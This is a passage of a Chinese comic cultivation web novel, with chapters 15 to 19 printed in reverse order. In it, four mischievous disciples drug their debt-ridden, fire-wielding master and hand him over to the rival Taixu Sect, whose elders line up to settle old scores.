排到眼前的弟子看他骂骂咧咧,睁着无辜的眼睛,“您别骂了,骂的功夫都能帮把我这剑给淬好了。” “淬你爹!给我滚一边去!” “孽徒!别让我逮到你们!倒反天罡!” 望着赶集般,吵吵嚷嚷的一幕,秦秦默默站远了些。 他前不久才知晓隔壁破山头那个平平无奇长相的青年就是他们家凤仪剑尊,也是颇为震撼。 铁长老八风不动,好言相劝,“剑尊,陈年旧账,您总得还吧?” 何长老抿了一口牛乳茶,幽怨抬高声音,“凤仪剑尊打坏我们峰不少好东西,折算下来,十九万灵石,一块都没还呢。” 刘长老抹了一把不存在的泪,“他画了个阴阳阵罩在我们山头,害的我徒儿们阴阳失调,男变女,女变男。” 乌长老掏出一个账本,看了又看,“他烧了我们两千张极品符纸!” 明长老瞬间觉得手里的包子都不香了,捶胸顿足,“他拔了我们十亩灵田,偷了我们一百二十八瓶五品丹药!” “大殿顶上的万年琉璃珠是他抠走的,至今未还!” “他一共烤了四百三十二只灵兽,还扒了九十五只灵兽的毛” “他把梵音玦毁损三分之一!” “他把天慈碑上的铭文加了两笔,一座峰头差点崩成平地!” 众弟子:“……” 这确定是他们的凤仪剑尊? 而不是北境派来的卧底? 另一长老再添一把火,“凤仪剑尊烧了半个山头,到现在都光秃秃的,一根草都不长。” 还有一个长老将牙根磨的咯吱咯吱响,“掌门说了,欠债还钱,天经地义,就算您是剑尊,此事也该做个了结。” 凤仪剑尊半步飞升,在两境三域的地位,绝不亚于两帝尊。 闯祸的能力……同样深不可测! 虽未担任任何职位,听说,其风格,连他们帝尊都要退避三舍。 然,从前往事,臭名昭著,毁坏宗门无数财物。 凤仪台都被他赔干净,就剩匾额,窗户都拆了,这还没赔上十分之一。 偏偏连掌门见他,还要恭恭敬敬,喊一声剑尊,再掏出几本厚厚的财物赔偿账单。 凤仪剑尊赔不起,踩着宗门灵碑,冷笑着大放厥词:“三十年河东,三十年河西,莫欺少年穷!” 十几位内门长老听兜比脸都干净的他吹不了的牛批,一气之下,以下犯上,将他团团围住。 好家伙,打不过,根本打不过。 尤其他那点破火,水浇不灭,沾上一点就头疼。 他终于知道把自己逐出宗门,占了隔壁的破烂山头,大言不惭,说账不还上就不回来了! 特么哪是给自己逐出宗门,分明是不想还钱,跑路了! 那一日,掌门和十几位内门长老,皆流下了激动的泪水。 喜普大奔。 好歹祸害走了。 只要他不再回来霍霍人,他们勉强懒得搭理。 凤仪剑尊幻了容貌,自顾自的在隔壁破山头落户。 没成想,近一年,心血来潮,相继收了四个徒儿。 想到那各个穿的破破烂烂,恨不能捡破烂的四个小家伙,众长老看的心疼,又心塞。 这特么哪里是收徒弟,分明就是找了四个免费劳动力! 他们实在看不下去,同凤仪谈判十几回,想要苏清流他们认祖归宗。 凤仪整日揍徒儿揍的开心,还有免费劳动力,正是乐不思蜀,哪里肯愿。 幸好这四个孩子想法大,还敢干。 合伙药倒了凤仪,连夜送给秦秦。 可塑之才! 终于有人出来收拾他了。 天理昭昭,因果报应! 不过,大会一事,本来就打算放放水让他们参加的。 凤仪剑尊再不着调,四个小崽子总归是自己人。 如今水到渠成,自然该认祖归宗。 还有宗门每月发给弟子的灵石和资源,尤其亲传,可是不小的一笔。 之前怕被凤仪剑尊截胡,只能先攒着。 没成想,四个小家伙给他们这么大一个惊喜。 天凉了,陈年旧账,该算一算。 最重要的人是,弟子们的剑……真的……该淬了。 两个月后可是南北两境大比。 各方各面,能提高的都要尽可能的完美到极限。 长老们大多都是知道凤仪剑尊往些年的丰功伟绩的。 弟子在看到传说中的剑尊,先是崇拜,很快在听过长老们细数剑尊往年罪行,滤镜破碎满地。 一时间,看花不休的眼神都不对了。 一脸坚定的排队,誓要等到他喷火为止。 花不休被看的寒毛直竖。 “我又不是自己回来的!放开!我要回去!” “回去?当年您自己说的还不上不回来,行啊,钱呢?” 第 19 章 卖师尊 林玉锦不可思议的叫道:“大哥!她说的可是我们要参加你家的弟子交流大会啊?” “你就这么答应了?” 秦秦暗含深意的视线从花不休身上收回,没理他,对江献晚道:“大会在三日后,你们早点来。” 说到底,他该喊一声晚晚师妹的。 若不是…… 苏清流和白子夜后知后觉,注意到他看花不休时晦涩难懂的目光。 不过,现在不是细想的时候。 苏清流拎起花不休,像送什么烫手的山芋,“给你。” 白子夜愉悦的笑了一下,“尽管用,不用着急还我们。” 最好用一辈子。 拴起来。 林玉锦觉得自己有必要说一句,正要故作高深,被苏清流揪着脖领子扔到一边。 白子夜挤开秦秦,扯过江献晚,“快快快!回家!咱俩整个护山大阵!” 顺便把小师妹拴起来。 都长成这样了,还有人惦记呢! 好不容易拐回来的小师妹,师兄有他们仨就够了,不需要野的! 就连苏清流都生出一种莫名的危机感,跟着扯了扯江献晚。 江献晚摆手,“秦秦师兄,那三日后……” 话还没说完,被苏清流冷着脸提溜起来。 “嗖”地一下,别说走的有多干脆。 望着消失的人影,秦秦扛起花不休,匆匆转身进宗门。 掌心多出一块玉简,灵气灌入,连通掌门的信道。 “掌门师伯,凤仪台那位被他那四个徒弟……卖了。” “现在……正在我手里。” “哈?”瘫在汤池里,正享受着安详时刻的徐燕州轰然起身。 确定再三,急慌慌掐断信道,转连上另一头。 过了一会儿,再次发出一道命令给秦秦,“快!赶紧把他锁起来!记得一定要用千年玄冰链!” 做完这一切,徐燕州开始在一众高层的专门聊天信道里摇人。 “各位长老请注意!各位长老请注意!凤仪人已在太虚宗!凤仪人已在太虚宗!凤仪人已在太虚宗!” “现在正栓在凤仪台!现在正栓在凤仪台!现在正栓在凤仪台!” “帝尊下诏,不必留面子!不必留面子!不必留面子!” 刹那间,十几道流星划破夜空,狗咬腚似的朝着凤仪台掠去! 这边,四个师兄妹心满意足回到山头,坐在凉亭下继续吃剩下的饭菜。 苏清流本就不重口欲,惦记着升级自己的老婆,堪堪坐下,手中便多出一个芥子囊。 林玉锦凑过头,“我去,这得多少阵法?” 白子夜指尖灵笔一滞,眯眸瞧罢,笑的像只狐狸,“嘻,咱们师尊倒是聪明,不留神识,整八十八个阵。” 若是烙下神识的话,同阶之上,将其抹除,轻而易举。 看来,花不休的家当应当都在这里了。 “区区八十八个阵,看我的。” 破个小阵法,对他这种天才来说,还不是手拿把掐。 信心满满的白子夜指尖骤然浮现一抹刺目的光华,修长的手指,简单粗暴一捏。 三秒过后。 阵法依旧运转无误。 江献晚沉吟片刻,发出真诚提问,“二师兄……你是不是没吃饱?” 被自家小师妹眼巴巴的质疑,白子夜难得红了脸。 细细感应,指尖发力,狠狠一捏。 芥子囊上的八十八道阵法,不急不缓,流光溢彩。 甚至,嘲讽似的,骤然燃起一团火焰! 白子夜仰面避开,险些燎到头发,表情有些难看。 苏清流微微抬眸,一本正经提议,“老二,你先吃两口。” 林玉锦将筷子塞他手中,“二师兄,你是不是真的没吃饱?来,再整点。” 老二阵法修的不是挺牛逼吗? 白子夜拿老婆敲他脑袋,语气渐渐变得有些凝重,“阵眼变幻的极快,我怀疑……” 这些阵法拆开来看,平平无奇,在他找到阵眼之时,八十八个阵法同时运转,不断变幻。 阵纹流动,强行干扰。 寻常阵道师,根本不可能将它们契合的如此玄妙。 苏清流似乎并不意外,淡淡补充,“他不是金丹。” 花不休此人,不仅精通剑道,同时擅长符术丹术和阵法。 揍他们四个,跟打沙包似的,摔来摔去。 饶是心中早有怀疑,林玉锦还是忍不住痛心疾首道:“太狗了!他果然隐藏了实力!” 白子夜:“这一手,高低得有化神修为了吧?” 苏清流:“不尽然。” 林玉锦:“那现在怎么办?他不会跑回来烧死我们吧?” “淡定。”江献晚也没料到花不休藏的还挺深。 不过,莫得关系。 毫无负担的分析。 “太虚宗是什么地方?是他想来就来想走就走的?” “不管了,等他出来再说。”白子夜更没负担,两只眼睛都盯在芥子囊上面。 既然花不休隐藏了实力,那么芥子囊里的好东西,岂不是比想象的还要多? 想到这些本该属于他们的小金库,四人口水都要流出来了。 好不容易给他送走。 作为师尊,合该给徒儿留些遗产……呸呸!留些财产不是。 什么师尊? 师尊是什么? 能花吗? 能吃吗? 白子夜唇角若有似无的笑意敛下,指尖‘苍生鉴’流泻出道道灵光。 “小师妹,你来助我。” 江献晚懂些阵法,同白子夜研究半天,终于成功破坏掉阵眼。 一阵冷风吹过,四双震惊的眸子大眼瞪小眼。 白子夜错愕的将芥子囊朝下倒了倒,倒出……一条啃了一半的鹅腿。 “好啊,他竟然还吃独食。”林玉锦一把抢过,抡起胳膊狠狠甩了两圈。 “不是吧?” “什么都没有?” “什么都没有他布什么阵法?” “闲的么?” 这一夜,江献晚没有回去。 他们把花不休睡的房间扫荡一通,床板地板都拆了,整个山头翻过来一遍。 甚至把小水塘里的水都吸干的一干二净。 望着东升的太阳,江献晚和林玉锦双手叠在腹部,安详的躺进新刨的土坑。 苏清流翻了一夜的地,脸色显而易见的难看。 他喉间蓦地发出清浅的轻笑,带了两分罕见的咬牙切齿的意味。 很明显,大师兄强烈表达出没有继承一颗灵石的不满。 难得听见他笑,林玉锦搓搓手臂,“你们觉不觉得有些古怪?我怎么觉得花不休好像早知道咱们要药倒他?” 第18章 你说的火是异火 这是,要带他见家长? 这么快,他还没有准备好。 秦秦僵硬着四肢,由她拉着来到三个少年面前。 沉吟片刻,不自然的主动打招呼,“苏师兄,白师弟,林师弟。” 苏清流淡淡掀起睫毛,指腹轻轻摩挲着老婆,若有所思。 很好。 看他不削死他。 白子夜偏头,露出一抹意味深长的笑容,“嘻。” 你等着,睡觉最好别闭眼。 “嘁!”林玉锦把嫌弃都写脸上了。 放个屁的功夫,怎么还亲亲热热的叫上了! 什么林师弟! 谁是你林师弟! 竟敢肖想他们的小师妹! 江献晚更是狐疑的偏过头。 礼貌来的突如其然,着实令人费解。 不过,她没功夫细想。 药效快过,等花不休醒来,他们就死定了! 揪着眼露凶光的林玉锦扔在一边,露出一个睡的正香,发丝衣裳凌乱的青年,“请看!” 秦秦脸上的酒窝更深了。 真的是见家长! 好直接! 他喜欢! 这般反应,惹的苏清流和白子夜无声对视一眼,皆是一脸便秘的表情,还有层层叠加的杀气。 只见他们可爱的小师妹浑然未觉,兴致勃勃的对着花不休比划一下,热情的展示货物一般。 “秦秦师兄,请看这里!” 秦秦眉眼一垂,扭捏的看过去。 “你知道他是我们师尊吧?” “……知道。” “那你知道他身怀异火吧?” “……知道。” “你的老婆不是需要淬火,正好,我们花……啊,师尊会喷火,我今日就将他送给你,怎么样?” “………?”秦秦越听越不对,待到最后,神色又是一变,“你说的火是异火?” 苏清流:不然你以为是什么火? 白子夜:是不是听着有点上火? 林玉锦:一直说的不就是这个火?除非你想玩火。 江献晚无辜的看向他。 不然,什么火? 秦秦猝然握紧剑柄,指节咯吱作响,连吸几口气,咬牙,“那你说的人,是他?” 江献晚愣愣点头,“对呀。” 不然呢? 她像是把自己人头送上的傻子吗? 苏清流:呵,你以为呢? 白子夜:嘻,你觉得呢? 林玉锦:放个屁的功夫,秦秦怎么又变脸了? 秦秦胸膛缓缓起伏,咬碎一口牙,朝江献晚狠狠唾去,“骗子!” 骗他的钱就算了,还来骗他的感情! 渣女! 江献晚被他骂的一头雾水,“我哪里骗你了,他就是会喷火!咱们山头离这么近,别跟我说你不知道?” 秦秦气的眼红,不想听她啰嗦,扭头就走。 江献晚懵了。 送上门的异火都不要? 那可是淬剑的外挂啊! 腰上被什么东西顶了一下,扭头一看。 白子夜拿灵笔戳她,神色略显焦急,“小师妹,洗脑他!花花要醒了!” 花不休修为虽一般,速度和揍人的本事那叫一个恐怖,喷出的火绝对能把他们烧成四捧灰。 实在不敢想,他们撒丫子在前面跑,花不休喷着火在后面追。 那画面,简直不要太美,太绝望。 江献晚显然知道事情的严重性,小跑两步追上秦秦。 见他闷着头往回走,情急之下,拽上他的手腕,“等等!你听我说!” “听什么?”秦秦厉声道。 听你怎么继续玩弄我的感情? 骤然停下,转身。 却没舍得甩开她的手。 江献晚猝不及防撞进少年硬邦邦的胸膛。 距离拉近的一瞬间,三个少年猛地倒吸一口气。 秦秦的怒火啪叽一下熄了。 他怔怔的看着捂着鼻子,眼睛湿漉漉的少女,不知所措的抬起手肘,又犹豫着放下。 干巴巴开口,“我,我不是故意的。” 江献晚当然知道他不是故意的,双手举起,诚意满满。 “秦师兄,我真的只是想帮你淬剑。” “你看,我把师尊都送来了,诚意十足。让你免费用两年怎么样,当作抵债,或者,你想用多久都行。” “你该不会忘了他把你家山门烧秃,烧了三天三夜,才扑灭的吧?” “打下你们刚飞回宗的八只灵鹤,连着吃三天烧烤。” “吃完还把骨头往你家门前丢……” “你就不想让他赔?” 秦秦沉默无言,似乎真被她说动。 侧眸扫了一眼花不休,“真的?” 他这会儿回过味了。 显然是江献晚他们四个药倒了花不休。 送到太虚宗大门前。 冒这么大危险,就是想帮他淬剑? 难道自己方才想的过于直接,其实晚晚不是直接的女子? 气瞬间又没了。 秦秦声音不由缓和几分,看花不休的眼神却渐渐古怪起来,“你确定要看把他送给太虚宗?” 长老们苦口婆心相劝八百回,甚至组团大半夜去偷,都没成功。 他们四个就这么给人整来了? 江献晚没察觉到他的异样,眸子一亮。 分明是可行的意思! 当即再加一把火。 “确定!那秦秦师兄,你要吗?” 咚地一声,心跳骤然加速,秦秦惊慌失措,踉跄后退。 对上一双迫不及待的眸子,须臾后,不自然的扭过头,“我现在就把他带走。” 江献晚厚着脸皮,乘胜追击,“还有一事。” “什么?” 江献晚搓手,委婉措辞,“那个,你看,我师尊你们随便用,不用见外。就是,能不能帮忙问问,你们的弟子交流大会,我们四个能去转转吗?” 说罢,指了指黑着脸,死盯过来的三个少年。 她知道这个请求有多过分。 不亚于,你逮着一个陌生人,来一句,我可以在你家拉屎吗? 太虚宗的大会怎么可能让他们这些外人参加? 其实,能把拖油瓶师尊送出去一段时间,她已经很满意了。 鬼使神差,看着好像没什么底线的秦秦,还是无耻的提了出来。 饶是江献晚脸皮厚,还是尴尬的抠出三室两厅。 “那个,要是为难就算……” “可以。” “嗯?” 不仅江献晚,就连苏清流他们三个都愣了愣。 秦秦脑子是不是被门挤了? 还是色利智昏到变态的地步? 你说可以就可以? 你们掌门长老知道吗? 我们可是要去你家拉屎啊! 第17章 我这里有火 江献晚承认自己的无耻。 秦秦被她痛快承认的态度,无耻到了,指节攥的咯吱咯吱响,紧跟着,眼圈以一种肉眼可见的速度泛红。 江献晚吓了一跳,蹭蹭倒退两步,“不是吧?” 这就哭了? 三个少年同样默默后退两步。 不是吧? 太虚宗的人不是很狂吗? 尤其是玩剑的! 随随便便一句就搞哭了? 不就是扒个裤衩~ 见四双眼睛一言难尽的来盯他,秦秦也意识到自己的反应有些丢脸,冷飕飕的狠剜江献晚。 寒光泻地,长剑如虹。 “江献晚!说吧,你今晚想怎么死!” 竟敢扒他裤子! 她是不是跟别人打架,也是扒人裤子? 气的他两天两夜没睡觉,还没找上她,她反而理直气壮地登门了。 想到这里,眼眶愈发的红。 看着强收回去泪意的少年,江献晚唏嘘的同时,一股心虚缓缓窜上天灵盖。 终于良心发现,举手,弱弱道:“不死可以吗?” “不行!” 秦秦剑尖直指少女鼻尖。 她扒他的裤子,看他的屁股。 要么死,要么…… 想到这里,目光不由自主落在那红霞半遮的面庞。 微挑的眼尾,水色淋淋的眸,干净而清冽如雪,肌肤于月光下似是染了薄薄的霜。 秾滟十足的五官,很有攻击的长相。 就连那颇为壮观的红霞,都压不住的艳色,可以想象这张脸美的有多嚣张。 意识到走歪的念头,少年剑尖不自然地往下落了些。 耳尖不由自主一热。 傲人的线条,同样嚣张的跋扈。 手忙脚乱又落了些,抵在江献晚腹部。 视线无意间,随之停在一只手就能轻易掐住的腰肢。 耳尖更红了。 恼羞之余,噌地一下,长剑压在她脖颈。 苏清流和白子夜看的分明,双双沉下脸。 他比划什么呢? 朝哪比划呢? 还有,杀人就杀人,他红什么脸! 苏清流眸子轻眯,默默把花不休丢在地上,而后默默掏出老婆。 “嘻。”白子夜忽然发出一声几不可闻的轻笑,冰冷的目光如寒刺般,恨不能扎穿秦秦。 不确定,再看看。 敢肖想他们的小师妹,还真是……茅坑里点灯。 不过,这大馋丫头眼睛里只有钱。 少年,爱上她你可就惨了。 林玉锦看不懂,干脆坐下来,从衣袖中摸出一把瓜子。 江献晚见秦秦瞄准似的,来回调整位置,有些无奈。 “那个,我找你来,真的是诚心赔罪的。” 顺便再坑一把。 秦秦不信,“你会有这么好心?” 江献晚打架跟疯狗似的。 扒他的裤衩,扒的那叫一个眼都不眨,撒腿就跑。 这会儿知道登门赔礼了? 难不成是她那三个师兄摁着她的头来赔礼? 啊呸! 怎么可能! 隔壁山头一脉相承。 更何况是那捅天的祖宗教出来的。 从上到下,哪个不是见钱眼开,无耻至极? 没一个好人! “真的。”江献晚见他不信,下意识拉近一步距离。 秦秦面色骤然一变,猛退两步,厉声道:“说话就说话!别靠这么近!” “……”江献晚露出怜悯的目光。 傻孩子,看来被扒裤衩扒出了巨大的阴影。 不能全怪她啊,谁让他腰带系的松,随随便便一扯就开了。 这么想着,江献晚嘴一秃噜说了出来。 对上秦秦羞愤欲死的目光,连忙扯回正事,“我不是那个意思,你的剑不是想淬火吗?” 秦秦眼红红的瞪她。 他是不会信她的花言巧语。 然,江献晚还在向他靠近,秦秦手忙脚乱,步步后退,直退到一棵大树上。 后背贴的密密实实,退无可退。 “咔咔咔……” 正坐在地上,猛嗑瓜子,看的津津有味的林玉锦,神色逐渐狰狞。 “我怎么瞧着有些不对劲?” 苏清流和白子夜各自摸着自己的老婆,抿唇不语,眼底却含着若有若无的杀气。 “你,你到底想说什么?” 秦秦踮着脚,还在拼命往树上贴。 江献晚再逼近一步,抬手压在他背靠的树干上,微微仰头。 声音因压低,像带着清晨的微醺,格外撩人。 全然未察觉眸光冰冷、脸黑如墨、狰狞扭曲的三个师兄。 “我这里有火。” “可以帮你。” 苏清流:小师妹,你在玩火。 是什么火,你最好说清楚一点。 白子夜:什么火? 麻烦你,别让我上火。 林玉锦:火大。 不过小师妹壁咚秦秦的样子好帅! 秦秦先是一怔,旋即脸颊晕开一片红晕,烧到耳根。 长剑早已剑尖垂地,对上少女明亮漆黑的眸子,结结巴巴,“什,什么火?” 是热情似火吗? 还有,帮他……帮他什么? 流氓! 秦秦咬了咬唇瓣,眼睛红的跟兔子有的一拼。 江献晚罪恶感飙升。 这还是那个浑身散发着冰冷凉气,跟个双开门冰箱似的少年吗? 怎么看起来又想哭了呢? 跟她打架的时候不是下手挺猛的? 那重剑恨不得削开她的脑壳。 她一气之下才扯掉了他的腰带。 然后秦秦只顾着提裤子,被她以心灵受到创伤,顺走了芥子囊。 芥子囊里的灵石不少,够给行行买一个月的灵兽奶。 想到顺走的几百块极品灵石,江献晚良心发现一丢丢。 “我想送给你一个人。” 人? 秦秦紧抿着唇,紧紧凝视着语气格外认真的少女,思绪再次恍惚。 送人? 送谁? 她……? 她抢他的芥子囊,解他的腰带。 莫非是想用一种特殊的方法,引起他的注意? 他没去找上门,她等不及来找他? 还拖着三位师兄加油打气? 打不打气,不知道,三个少年看着这一幕,分明快要气厥过去! 想到那些女修是如何五花八门层出不穷的堵自己,秦秦愈发确定。 他盯着少女脸上的印记,俊俏的面庞红的充血,都快赶上江献晚脸上的胎记。 沉默良久,略不自在的低低应声,“好。” 如果,你是想引起我的注意。 那么,你成功了! 江献晚见他答应的痛快,生怕他反悔,抓起少年的一片衣袖往苏清流他们那边拉。 秦秦垂眸,落在衣袖上葱白的指尖,唇角轻勾,脸颊两个小酒窝若隐若现。 第16章 来隔壁叫门 那必须的! 送你离开的好日子! 白子夜面上笑的温润,桌下,狠狠碾了林玉锦一脚。 林玉锦眼泪汪汪,“师尊,您知道我从小就离开了我的妈妈。” 花不休:“……” 所以呢? 你离开妈妈,跟这一桌子菜有什么关系? 还有,这四个小混蛋敢背着他藏私房钱? 这么多菜,肯定花了不少灵石吧! 这都是他的钱啊! 花不休秉承着徒儿的就是自己的,自己的还是自己的。 肉疼的不得了。 当既不痛快了,眉梢轻扬,冷冷一笑,“说人话!” 林玉锦眼泪立时一收。 “您看您又当爹又当妈,一把把我们兄妹四个拉扯大,刚好两个月后是您的生辰,我们这不是想提前给您庆祝一下?” 苏清流:“……” 你这个棒槌!最后一句不用说! 花不休的生辰明明是三个月后! 白子夜:“……” 让你演戏没让你加戏! 还有,花不休的生辰明明是四个月后! 江献晚:“……” 带不动带不动。 话说,两个月后花不休生辰? 到时,应该没人给他过了吧? 好可怜。 “哦?” 花不休一双潋滟的桃花眸微微眯起,拖长了嗓音。 似笑非笑,扫过面前排排,难得站的过分笔直端庄的四个徒儿。 苏清流刚来十个月。 白子夜刚来九个月。 林玉锦刚来八个月。 江献晚刚来六个月。 他哪里一把屎一把尿把他们养大了? 还有,他的生辰明明就是今日! 一群棒槌! 这四个小混蛋该不会又想坑他吧? “这样啊……” “来,坐。” 花不休淡淡垂下眼皮,指尖一下没一下的点在桌面。 四人交换眼神,面色不改,淡定的坐下。 莫慌。 只要花花吃他们一口菜,定叫他倒头就睡! 白子夜脸上笑眯眯,桌下又狠狠碾了林玉锦一脚。 林玉锦呲着牙,继续眼泪汪汪,含泪输出,“花,师,师尊,可以吃了吗?” 花不休闲散的撑了下颌,眼底意味不明,“吃吧,乖徒儿。” 他倒要看看这四个棒槌想干什么! 林玉锦迅速拿起筷子,一盘子夹了一筷子菜,塞进嘴里。 花不休有点不懂了。 不过,见四个孽徒神色如常,慈爱的笑了一下。 “乖徒儿们,别客气,吃起来。” 苏清流三人齐刷刷拿起了筷子,别提多整齐。 吃的那叫一个风卷残云。 花不休彻底看不懂了。 难道,这几个小混蛋真的开窍,知道孝顺他了? 那以后他要钱,是不是可以再往上加加? 眼看着一桌灵菜快速减少,连忙拿起筷子,夹向那盘看起来最是美味的青椒爆炒肉片。 放进嘴里。 眼睛顿时一亮。 殊不知四双眼睛比他还亮。 四双筷子默默搁在了桌上。 花不休叼着一块肉,皱眉,“你们不吃了?” 苏清流唇角勾起浅淡的弧度,“师尊吃好。” 白子夜温温柔柔一笑:“师尊吃好。” 林玉锦咧嘴一笑:“师尊吃好。” 江献晚甜甜一笑:“师尊走好。” “啪!” 筷子应声落地。 花不休手抖如筛。 “走好什么走……” 话没说完,眼皮陡然变得沉重。 一群完蛋玩意! 不就是要他们点钱,竟然敢给他下药! 倒反天罡! “咚——” 牙酸的一声。 花不休话一句话没骂完,脑袋重重磕在桌子上。 “孽、徒!” 言罢,眼一闭,麻溜地睡死过去。 林玉锦捏起一根筷子戳了戳他,眼睛亮如星辰,恨不能发光。 “花不休不会动了!” 白子夜跟着戳了戳,“嘻!睡的很香哦。” 苏清流是个实干派,二话不说,把他夹在胳膊下。 “药效只有一炷香,走,小师妹去叫门。” “等等!” 江献晚抬手拦下他。 白子夜作警惕状,“你该不会心疼了吧?” “怎么可能!”林玉锦反驳的比江献晚都快,“小师妹是咱们中最没良心的!” 最没良心的江献晚幽怨瞥向林玉锦,“花花的小金库,你们不要那我自己要了。” “要!” “要!” “要!” 三个少年异口同声道。 差点忘了大事! 苏清流当即把花不休放在了地上。 八只手一通摸。 如愿以偿,摸到一个芥子囊。 林玉锦:“啧啧,别说,花花这肌肉还挺带感。” 白子夜恶心的瞥他一眼,“口味真重,连花花的便宜都占。” 江献晚跟着鬼鬼祟祟摸了一把,“……是挺硬的。” 花不休一身肌肉,老性感了。 “……”苏清流沉默三秒,还是比较理智的,“回来再想办法打开,先干正事。” “得勒!” 四人抓紧时间来到隔壁。 两个守山门的弟子还在夜值,见四人跟狗咬腚似的,扛着一人,狂奔而来,疑惑地对视一眼。 隔壁山头那五个成日里上蹿下跳的野猴子,大晚上的怎么来了? 其中一人双臂环抱,挑眉,没好气道:“你们想做什么?” 做什么? 江献晚掏出一个芥子囊,在指尖轻轻转悠,“让秦秦出来一趟,一柱香,过时不候。” 看见她手里芥子囊上的太虚宗标识,那弟子大吃一惊,知晓来者不善,冷冷道:“你们等着!” 说罢拿出一枚玉简上报给外门长老。 不知过了多久,一道雪光穿破夜色。 白袍少年脚尖点在树冠,端的冷冽如雪。 待看清其中一人,利眉一蹙,铁青着脸举剑直掠而来。 “江献晚!还敢登门!怎么?没抢够,还抢到家门口来了!” “停!”江献晚及时抬手,不慌不忙举起一枚灵石,“我有录像,你敢动手,我现在就把它卖给黑市!” “秦师兄打架把裤衩打掉了,是不是很有意思?” 苏清流:“……” 小师妹怎么还扒人裤衩子? 白子夜:“……” 扒人裤衩,也可以说的这么理直气壮吗? 林玉锦:“咯咯咯~~~” 那小师妹岂不是看到了秦秦的大白屁股?瑟瑟。 秦秦骤然愣住,来了个急刹,剑势猛地一收。 因炸裂的一句话,剑气放的猛收的也猛,踉跄退了半步。 他脸色乍青乍红,憋屈了三秒。 三步并两步,大步走到江献晚面前,耳尖涌血,“你,你,你无耻!” “嗯,我无耻。” 第15章 把师尊逐出宗门 送? 林玉锦拍拍江献晚的肩膀,语重心长,“小师妹,首先,你的想法是好的。” 白子夜忧郁抬眸望天,“其次,你的想法是好的。” 苏清流垂下眼帘,慢吞吞的去擦他老婆,“小师妹,你醒醒。” 人家都送礼物,他们送…… 咳,废物? 人太虚宗脑子有屎,也不能够要啊! 更何况,花不休没少偷太虚宗的灵兽,拿来当下酒菜。 活留至今,已是出乎意料。 林玉锦觉得这个提议不怎么靠谱。 “就他,咱们都不要,人太虚宗会要?” 他们都不要的东西,人家南境第一大宗,怎么可能捡他们不要的破烂。 江献晚指尖一晃,“非也,就因如此,太虚宗多半会要。” “咱们顺便去他家弟子交流大会逛逛。” 苏清流眸光微微一动,“小师妹的意思……嗯?” 白子夜紧跟着反应过来,诧异抬眸,“小师妹,我觉得……花不休,罪不至死。” 然,唇角浮出的一缕笑意,显然无比赞同江献晚的想法。 破烂也有破烂的用处。 林玉锦回过味来,兴奋振腕,显然已经迫不及待,“死贫道不死道友,让他死!!!” “小师妹既然提议,必定想好了万全之策,快展开说说。” 江献晚不好意思的笑了一声,搓手,“那个,前两日我和太虚宗的弟子打了一架。” 所以? 三个少年拿眼神询问。 “然后打的有点放纵。” “然后?” “赢了他的芥子囊。” 赢? 确定不是抢? 苏清流默默伸出手,“见面分一半。” 白子夜和林玉锦同时伸手。 江献晚:“……”当作看不见。 咳嗽一声,直奔重点。 “那个弟子好像是亲传弟子,他说,你给我等着。” 林玉锦微微僵住,一种很不好的感觉油然而生。 悚然道:“亲传弟子?你抢了谁?” 还你给我等着! 林玉锦觉得此刻想的,不应该是怎么把花不休送给太虚宗,而是想想怎么跑路! 苏清流和白子夜同样面色一僵,神情渐渐古怪。 他们知道小师妹不是个乖乖巧巧的小白兔,路子很狂,打架更是猛。 可特么抢到太虚宗亲传弟子身上,还真是往死里拼命蹦哒。 太虚宗那是什么地方? 出了名的护短! 还特么不讲理! 打了一个,来一窝! 打了小的,来个老的! 秉承拳头大,当老大的霸道作风。 曾仅仅一个长老,为了给徒弟出气,弹指之间,轻轻松松解散了一个中流宗门。 特么跟个邪教似的! 白子夜的语气难得带了两分沉重。 像是他的灵笔老婆‘苍生鉴’,被人摸了两把,多了一丝痛心疾首的绝望。 “小师妹,要不……你还回去?” “二师兄还年轻,想再活两年。” “那不成!”江献晚下意识反驳,又心虚的低下头,“我都花完了好吧。” “花完了!”林玉锦嗷地一声,疯狂扫射着她,“小师妹,我早就想问了,你是不是在外头养小白脸了?” 死活不在山上住,天天掐着点就要回家,家里是有爹还是有娘? 还是……小白脸? 三个少年同时联想到什么,瞬间绷不住了,脸色一个赛一个的扭曲。 江献晚:“……” 算是吧。 养了两个。 小的吞金兽! 大的吞吞吞吞吞吞吞吞吞吞吞吞吞吞金兽! “此事暂且不提,再说,秦秦他自己技不如人,凭什么要我还回去!” 修真界,比的不就是谁的拳头硬,谁就有理吗! “秦秦?” 白子夜都懵了。 就连总是一脸神色淡到极致,对什么仿佛都入不了心的苏清流,都失态的抽动了几下眼角。 白子夜也不温柔的笑了,面庞开裂,激动的差点把桌子掀翻。 “是那个仅次于时云霄的秦秦?!是那个男女通揍的秦秦?!是那个丧心病狂的秦秦?!是那个睚眦必报的秦秦?!” 一连四吼。 江献晚哆嗦了一下,终于意识到了抢的对象有多牛逼。 时云霄她知道,太虚宗这一届,最牛逼的弟子。 同苏清流一样,天生剑骨。 “呃……好像……是吧……” 白子夜觉得自家小师妹真特么牛逼的同时,乐笑了,轰地站起身。 林玉锦不解的看向他,“老二,你干嘛?” 白子夜忧伤的望了一眼天际,“跑路。” 还是把自己逐出师门吧! 师尊变态就算了,师妹还这么变态! 太虚宗那是什么宗? 一群护短的疯子,逮谁咬谁! 净干点以多欺少的事! 再不跑,破山头就要炸了。 林玉锦却没这种担忧,反而笑的很荡漾。 “你们不觉得很酷吗?小师妹可是抢了秦秦啊!” “秦秦都抢了?咱们怕个毛?” “怕个毛怕个毛?我看你是不长脑子光长毛!” 白子夜拿起他老婆,狠狠敲在林玉锦脑壳上。 “稳住。” 慵懒散漫的声音响起。 还是苏清流有大师兄风范。 “小师妹,你接着说。” 江献晚感激的看了他一眼,这一眼,看的苏清流唇角微动。 小师妹这是想把花不休推出去,承受太虚宗的怒火? 顺便,参加人家的弟子交流大会? 果不其然。 江献晚:“花花不是身怀异火?” 苏清流默默摸了一把他老婆。 他老婆,‘天河倾’淬炼,还是花了一百块灵石,花不休才不情不愿喷的火。 江献晚嘿嘿一笑,“我抢,啊呸,我友好跟秦秦交流前,听到他说,若是有异火天天帮他淬剑就好了!” “异火平息怒火,还能送走花不休!” 白子夜立刻坐下,温润的笑意重新浮现在唇角,“小师妹,我有一个大胆的想法。” 林玉锦紧跟着举双手,“这个想法我赞同!” 苏清流微微勾唇。 很好。 花不休总算有点用了。 看来,去太虚宗弟子交流大会抢点东西,也不是不可能。 四个师兄妹在坑花不休上,绝对是心有灵犀。 一番交头接耳,说干就干。 